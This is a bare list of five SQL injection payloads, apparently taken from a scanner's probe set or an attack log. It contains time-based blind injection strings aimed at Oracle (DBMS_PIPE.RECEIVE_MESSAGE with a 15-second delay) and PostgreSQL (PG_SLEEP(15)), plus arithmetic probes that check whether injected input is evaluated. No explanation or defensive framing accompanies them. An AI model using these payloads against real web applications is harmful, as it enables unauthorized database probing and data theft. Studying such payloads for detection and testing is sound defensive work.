1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1l8GFQ7cw')) OR 789=(SELECT 789 FROM PG_SLEEP(15))--
(select 198766*667891 from DUAL)
(select 198766*667891)